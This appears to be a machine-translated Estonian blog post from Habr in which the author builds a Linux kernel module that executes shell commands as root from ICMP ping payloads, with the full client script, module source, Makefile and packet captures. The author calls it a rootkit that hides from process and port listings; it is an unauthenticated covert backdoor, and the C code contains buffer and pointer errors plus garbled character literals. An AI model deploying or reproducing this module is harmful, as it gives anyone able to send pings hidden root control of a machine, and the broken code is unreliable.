Tuumakest üle ICMP

Tuumakest üle ICMP

TL; DR: Kirjutan kerneli moodulit, mis loeb käske ICMP kasulikust koormusest ja käivitab need serveris isegi siis, kui teie SSH jookseb kokku. Kõige kannatamatumate jaoks on kogu kood github.

Ettevaatust! Kogenud C-programmeerijad võivad verine nutma puhkeda! Ma võin isegi terminoloogias eksida, aga igasugune kriitika on teretulnud. Postitus on mõeldud neile, kellel on C-programmeerimisest väga ligikaudne ettekujutus ja kes soovivad uurida Linuxi sisemusi.

Minu esimese kommentaarides siit mainis SoftEther VPN-i, mis võib jäljendada mõningaid "tavalisi" protokolle, eriti HTTPS-i, ICMP-d ja isegi DNS-i. Ma kujutan ette, et ainult esimene neist töötab, kuna olen HTTP(S-iga) väga tuttav ja pidin õppima tunneldamist ICMP ja DNS kaudu.

Tuumakest üle ICMP

Jah, aastal 2020 sain teada, et saate ICMP-pakettidesse sisestada suvalise kasuliku koormuse. Aga parem hilja kui mitte kunagi! Ja kuna sellega saab midagi ette võtta, siis tuleb seda teha. Kuna oma igapäevaelus kasutan kõige sagedamini käsurida, sealhulgas SSH-i kaudu, siis tuli mulle esimesena pähe ICMP-shelli idee. Ja selleks, et koostada täielik bullshield bingo, otsustasin kirjutada selle Linuxi moodulina keeles, millest mul on vaid ligikaudne ettekujutus. Sellist kesta ei näe protsesside loendis, saate selle kernelisse laadida ja seda ei ole failisüsteemis, te ei näe kuulamisportide loendis midagi kahtlast. Oma võimaluste poolest on see täieõiguslik juurkomplekt, kuid loodan seda täiustada ja kasutada seda viimase abinõuna, kui keskmine koormus on liiga kõrge, et SSH kaudu sisse logida ja vähemalt käivitada. echo i > /proc/sysrq-triggerjuurdepääsu taastamiseks ilma taaskäivitamiseta.

Võtame tekstiredaktori, algtaseme programmeerimise oskused Pythonis ja C-s, Google ja virtuaalne mida te ei viitsi noa alla pista, kui kõik puruneb (valikuline – kohalik VirtualBox/KVM/jne) ja lähme!

Kliendi pool

Mulle tundus, et kliendiosa jaoks pean kirjutama umbes 80-realise stsenaariumi, kuid leidus lahked inimesed, kes seda minu eest tegid kogu töö. Kood osutus ootamatult lihtsaks, mahtudes 10 olulisele reale:

import sys
from scapy.all import sr1, IP, ICMP

if len(sys.argv) < 3:
    print('Usage: {} IP "command"'.format(sys.argv[0]))
    exit(0)

p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2]))
if p:
    p.show()

Skript võtab kaks argumenti, aadress ja kasulik koormus. Enne saatmist eelneb kasulikule koormale võti run:, vajame seda juhusliku kasuliku koormusega pakettide välistamiseks.

Kernel nõuab pakettide koostamiseks õigusi, seega tuleb skripti käitada superkasutajana. Ärge unustage anda täitmisõigusi ja installida scapy ise. Debianil on pakett nimega python3-scapy. Nüüd saate kontrollida, kuidas see kõik töötab.

Käsu käivitamine ja väljastamine
morq@laptop:~/icmpshell$ sudo ./send.py 45.11.26.232 "Hello, world!"
Begin emission:
.Finished sending 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 45
id = 17218
flags =
frag = 0
ttl = 58
proto = icmp
chksum = 0x3403
src = 45.11.26.232
dst = 192.168.0.240
options
###[ ICMP ]###
type = echo-reply
code = 0
chksum = 0xde03
id = 0x0
seq = 0x0
###[ Raw ]###
load = 'run:Hello, world!

Nii näeb see välja nuusutajas
morq@laptop:~/icmpshell$ sudo tshark -i wlp1s0 -O icmp -f "icmp and host 45.11.26.232"
Running as user "root" and group "root". This could be dangerous.
Capturing on 'wlp1s0'
Frame 1: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 192.168.0.240, Dst: 45.11.26.232
Internet Control Message Protocol
Type: 8 (Echo (ping) request)
Code: 0
Checksum: 0xd603 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

Frame 2: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 45.11.26.232, Dst: 192.168.0.240
Internet Control Message Protocol
Type: 0 (Echo (ping) reply)
Code: 0
Checksum: 0xde03 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
[Request frame: 1] [Response time: 19.094 ms] Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

^C2 packets captured

Vastuspaketi kasulik koormus ei muutu.

Kerneli moodul

Debiani virtuaalmasina sisseehitamiseks vajate vähemalt make и linux-headers-amd64, ülejäänu tuleb sõltuvuste kujul. Ma ei esita artiklis kogu koodi; saate selle kloonida Githubis.

Konksu seadistamine

Alustuseks vajame mooduli laadimiseks ja mahalaadimiseks kahte funktsiooni. Mahalaadimise funktsiooni pole vaja, kuid siis rmmod see ei tööta; moodul laaditakse maha ainult siis, kui see on välja lülitatud.

#include <linux/module.h>
#include <linux/netfilter_ipv4.h>

static struct nf_hook_ops nfho;

static int __init startup(void)
{
  nfho.hook = icmp_cmd_executor;
  nfho.hooknum = NF_INET_PRE_ROUTING;
  nfho.pf = PF_INET;
  nfho.priority = NF_IP_PRI_FIRST;
  nf_register_net_hook(&init_net, &nfho);
  return 0;
}

static void __exit cleanup(void)
{
  nf_unregister_net_hook(&init_net, &nfho);
}

MODULE_LICENSE("GPL");
module_init(startup);
module_exit(cleanup);

Mis siin toimub:

  1. Mooduli enda ja võrgufiltriga manipuleerimiseks tõmmatakse kaks päisefaili.
  2. Kõik toimingud käivad läbi netfiltri, sinna saab seada konksud. Selleks peate deklareerima struktuuri, milles konks konfigureeritakse. Kõige tähtsam on määrata konksuna käivitatav funktsioon: nfho.hook = icmp_cmd_executor; Funktsiooni enda juurde jõuan hiljem.
    Seejärel määrasin paki töötlemisaja: NF_INET_PRE_ROUTING määrab paketi töötlemise siis, kui see kernelis esmakordselt ilmub. Võib kasutada NF_INET_POST_ROUTING paketi töötlemiseks, kui see kernelist väljub.
    Seadsin filtriks IPv4: nfho.pf = PF_INET;.
    Ma annan oma konksule kõrgeima prioriteedi: nfho.priority = NF_IP_PRI_FIRST;
    Ja ma registreerin andmestruktuuri tegeliku konksuna: nf_register_net_hook(&init_net, &nfho);
  3. Viimane funktsioon eemaldab konksu.
  4. Litsents on selgelt märgitud, et koostaja ei kurdaks.
  5. Funktsioonid module_init() и module_exit() seadke mooduli lähtestamiseks ja lõpetamiseks muid funktsioone.

Kasuliku koormuse kättesaamine

Nüüd peame kasuliku koormuse välja võtma, see osutus kõige keerulisemaks ülesandeks. Kernelil pole kasulike koormustega töötamiseks sisseehitatud funktsioone, saate sõeluda ainult kõrgema taseme protokollide päiseid.

#include <linux/ip.h>
#include <linux/icmp.h>

#define MAX_CMD_LEN 1976

char cmd_string[MAX_CMD_LEN];

struct work_struct my_work;

DECLARE_WORK(my_work, work_handler);

static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
  struct iphdr *iph;
  struct icmphdr *icmph;

  unsigned char *user_data;
  unsigned char *tail;
  unsigned char *i;
  int j = 0;

  iph = ip_hdr(skb);
  icmph = icmp_hdr(skb);

  if (iph->protocol != IPPROTO_ICMP) {
    return NF_ACCEPT;
  }
  if (icmph->type != ICMP_ECHO) {
    return NF_ACCEPT;
  }

  user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
  tail = skb_tail_pointer(skb);

  j = 0;
  for (i = user_data; i != tail; ++i) {
    char c = *(char *)i;

    cmd_string[j] = c;

    j++;

    if (c == '')
      break;

    if (j == MAX_CMD_LEN) {
      cmd_string[j] = '';
      break;
    }

  }

  if (strncmp(cmd_string, "run:", 4) != 0) {
    return NF_ACCEPT;
  } else {
    for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) {
      cmd_string[j] = cmd_string[j+4];
      if (cmd_string[j] == '')
	break;
    }
  }

  schedule_work(&my_work);

  return NF_ACCEPT;
}

Mis toimub:

  1. Pidin lisama täiendavaid päisefaile, seekord IP- ja ICMP-päiste manipuleerimiseks.
  2. Seadsin rea maksimaalse pikkuse: #define MAX_CMD_LEN 1976. Miks just see? Sest koostaja kurdab selle üle! Nad on mulle juba soovitanud, et ma pean pinust ja kuhjast aru saama, kunagi teen seda kindlasti ja võib-olla isegi parandan koodi. Seadsin kohe rea, mis sisaldab käsku: char cmd_string[MAX_CMD_LEN];. See peaks olema kõigis funktsioonides nähtav; räägin sellest üksikasjalikumalt lõigus 9.
  3. Nüüd peame initsialiseerima (struct work_struct my_work;) struktuuri ja ühenda see mõne teise funktsiooniga (DECLARE_WORK(my_work, work_handler);). Miks see vajalik on, räägin ka üheksandas lõigus.
  4. Nüüd deklareerin funktsiooni, millest saab konks. Tüübi ja aktsepteeritud argumendid määrab netfilter, meid huvitab ainult skb. See on soklipuhver, põhiline andmestruktuur, mis sisaldab kogu saadaolevat teavet paketi kohta.
  5. Funktsiooni toimimiseks vajate kahte struktuuri ja mitut muutujat, sealhulgas kahte iteraatorit.
      struct iphdr *iph;
      struct icmphdr *icmph;
    
      unsigned char *user_data;
      unsigned char *tail;
      unsigned char *i;
      int j = 0;
  6. Võime alustada loogikast. Mooduli töötamiseks pole vaja muid pakette peale ICMP Echo, seega analüüsime puhvrit sisseehitatud funktsioonide abil ja viskame välja kõik mitte-ICMP- ja mitte-Echo-paketid. Tagasi NF_ACCEPT tähendab paki vastuvõtmist, kuid saad pakke ära visata ka tagastades NF_DROP.
      iph = ip_hdr(skb);
      icmph = icmp_hdr(skb);
    
      if (iph->protocol != IPPROTO_ICMP) {
        return NF_ACCEPT;
      }
      if (icmph->type != ICMP_ECHO) {
        return NF_ACCEPT;
      }

    Ma pole katsetanud, mis saab ilma IP-päiseid kontrollimata. Minu minimaalsed teadmised C-st ütlevad mulle, et ilma täiendavate kontrollideta juhtub midagi kohutavat. Mul on hea meel, kui sa mind sellest lahti hoiad!

  7. Nüüd, kui pakett on täpselt seda tüüpi, mida vajate, saate andmed välja võtta. Ilma sisseehitatud funktsioonita peate esmalt hankima osuti kasuliku koormuse algusele. Seda tehakse ühes kohas, peate viima kursori ICMP päise algusesse ja viima selle päise suurusele. Kõik kasutab struktuuri icmph: user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
    Päise lõpp peab ühtima kasuliku koormuse lõpuga skb, seetõttu saame selle tuumavahendite abil vastavast struktuurist: tail = skb_tail_pointer(skb);.

    Tuumakest üle ICMP

    Pilt varastati siit, saate pistikupesa puhvri kohta rohkem lugeda.

  8. Kui teil on algusesse ja lõppu viited, saate andmed kopeerida stringiks cmd_string, kontrollige eesliite olemasolu run: ja kas visake pakett ära, kui see puudub, või kirjutage rida uuesti, eemaldades selle eesliide.
  9. See on kõik, nüüd saate helistada teisele töötlejale: schedule_work(&my_work);. Kuna sellisele kõnele ei ole võimalik parameetrit edastada, peab käsurida olema globaalne. schedule_work() asetab läbitud struktuuriga seotud funktsiooni ülesannete planeerija üldjärjekorda ja lõpetab, võimaldades teil mitte oodata käsu lõpetamist. See on vajalik, sest konks peab olema väga kiire. Vastasel juhul on sinu valik, et midagi ei hakka käima või tekib kerneli paanika. Viivitus on nagu surm!
  10. See selleks, saad paki vastu võtta koos vastava tagastusega.

Programmi kutsumine kasutajaruumis

See funktsioon on kõige arusaadavam. Selle nimi anti sisse DECLARE_WORK(), tüüp ja aktsepteeritud argumendid pole huvitavad. Võtame käsuga rea ​​ja edastame selle täielikult kestale. Las ta tegeleb parsimise, kahendkoodide otsimise ja kõige muuga.

static void work_handler(struct work_struct * work)
{
  static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL};
  static char *envp[] = {"PATH=/bin:/sbin", NULL};

  call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}

  1. Määrake argumendid stringide massiiviks argv[]. Oletan, et kõik teavad, et programme täidetakse tegelikult nii, mitte pideva tühikutega reana.
  2. Määrake keskkonnamuutujad. Sisestasin ainult PATH minimaalse teekomplektiga, lootes, et need kõik on juba kombineeritud /bin с /usr/bin и /sbin с /usr/sbin. Muud teed on praktikas harva olulised.
  3. Tehtud, teeme ära! Kerneli funktsioon call_usermodehelper() aktsepteerib sisenemist. tee kahendkoodini, argumentide massiiv, keskkonnamuutujate massiiv. Siinkohal eeldan ka, et igaüks mõistab käivitusfaili tee eraldi argumendina edastamise tähendust, aga küsida võib. Viimane argument määrab, kas oodata protsessi lõppu (UMH_WAIT_PROC), protsessi algus (UMH_WAIT_EXEC) või mitte üldse oodata (UMH_NO_WAIT). Kas on veel mõni UMH_KILLABLE, ma ei uurinud seda.

Assamblee

Kerneli moodulite kokkupanek toimub kerneli make-frameworki kaudu. Helistas make kerneli versiooniga seotud spetsiaalses kataloogis (määratletud siin: KERNELDIR:=/lib/modules/$(shell uname -r)/build) ja mooduli asukoht edastatakse muutujale M argumentides. Icmpshell.ko ja puhtad sihtmärgid kasutavad seda raamistikku täielikult. IN obj-m tähistab objektifaili, mis teisendatakse mooduliks. Süntaks, mis teeb ümber main.o в icmpshell.o (icmpshell-objs = main.o) ei tundu minu jaoks väga loogiline, aga olgu nii.

KERNELDIR:=/lib/modules/$(shell uname -r)/build

obj-m = icmpshell.o
icmpshell-objs = main.o

all: icmpshell.ko

icmpshell.ko: main.c
make -C $(KERNELDIR) M=$(PWD) modules

clean:
make -C $(KERNELDIR) M=$(PWD) clean

Kogume: make. Laadimine: insmod icmpshell.ko. Valmis, saate kontrollida: sudo ./send.py 45.11.26.232 "date > /tmp/test". Kui teie masinas on fail /tmp/test ja see sisaldab taotluse saatmise kuupäeva, mis tähendab, et teie tegite kõik õigesti ja mina tegin kõik õigesti.

Järeldus

Minu esimene kogemus tuumaarendusega oli palju lihtsam, kui ma eeldasin. Isegi ilma C-s arendamise kogemuseta, kompilaatorivihjetele ja Google'i tulemustele keskendudes, sain kirjutada töötava mooduli ja tunda end kerneli häkkerina ja samal ajal skriptilapsena. Lisaks käisin Kernel Newbies kanalil, kus kästi kasutada schedule_work() helistamise asemel call_usermodehelper() konksu sees ja häbis teda, kahtlustades õigusega kelmust. Sada rida koodi kulus mulle vabal ajal umbes nädal aega arendustööle. Edukas kogemus, mis hävitas minu isikliku müüdi süsteemiarenduse tohutust keerukusest.

Kui keegi nõustub Githubis koodi üle vaatama, olen tänulik. Olen üsna kindel, et tegin palju rumalaid vigu, eriti keelpillidega töötades.

Tuumakest üle ICMP

Allikas: www.habr.com

Lisa kommentaar